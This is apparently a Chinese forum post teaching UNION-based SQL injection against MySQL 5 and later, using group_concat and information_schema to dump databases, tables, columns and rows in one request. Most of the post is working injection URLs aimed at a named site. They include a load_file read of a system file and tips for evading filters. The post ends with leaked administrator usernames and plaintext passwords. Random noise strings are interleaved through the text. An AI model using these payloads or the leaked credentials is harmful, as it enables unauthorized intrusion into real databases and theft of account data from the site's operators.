此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
3 @0 Z2 b; F; K% j但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
6 v& E+ ? W7 t; s# C v j6 f$ ?
: g4 T1 F5 N4 E) \6 s& s/ m3 P
) ^/ w' r: |2 `优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
1 w/ g9 z- M! x# f' k2 W' ?. C- m+ t |2 u
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
( T# l5 `$ G0 }7 j' Q0 z! ?
# P3 s+ t7 {! \' N下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
4 L, ^3 D1 y4 o) K, z在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等/ b% I7 q2 Z- K: ?$ z& F
; v4 [8 S/ @& ihttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
2 @" S, w2 `' s! z
9 f% Z: }% l2 X. E5 W读出所有库:9 U9 j$ o/ P& D$ `6 B. q5 A! ~
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA6 ]. ~" D: }3 X: l) k9 s
1 d1 A) h! y& y& ?: P* R
, i& G7 J* }4 [2 [+ t/ V" ~
9 _- m! c: c' j0 }" O) ]读出所有表:* I" V5 Q( \. y9 m( A: Y* Q
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
2 b7 E, L9 M: U* L1 b6 s6 U ^/ g- R% h( w0 a/ Q2 C
读出所有表字段:
; E- _- v F5 \6 f: ohttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110) O0 x% X& n- B" E, F! Q
*/ (97,100,109,105,110)为admin的ascii码 依次类推; r1 |/ a1 c- X3 I6 J
4 A# j% B4 _2 [( G6 r$ p- `" w
读出所有表字段里的内容:6 Y, P& M' M, G: D* L3 E; ]
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
" j4 V- C! A, u# m/ k
, \. L, f5 t' b1 m. T' w/ ]) v5 ~. g7 {# ]) V6 c% h
( p0 X; W! x$ ?/ G* H# u
' v' a" W5 Q P$ t& w. d/ S
+ q% w1 H0 Y) Q9 g7 ?) W6 O6 `5 u. ~8 }# a9 \
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
! F# h3 F2 ]; F- k, V4 }5 d
- r+ x- @5 N8 q8 C: @ A3 M9 n- z
, |9 ?6 A: W+ A& P" C0 e2 w6 Dhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%238 \4 [" k* D: s# p# n. [
8 N5 v1 h' r6 D) i( W6 F/ ?1 qhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
+ S. `# b8 R% e, V8 ?% ^( u3 z1 X1 d2 @* y6 a4 {
1 j- V0 n" w) Q2 }
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
5 i5 B! N& L! a% v. L L# @" V- i [
3 f- U' X" ]2 d9 t& o webmaster:dzb521123,simlab:simadmin200432336 o/ G+ ?# m0 ^$ _* ~: h8 B
|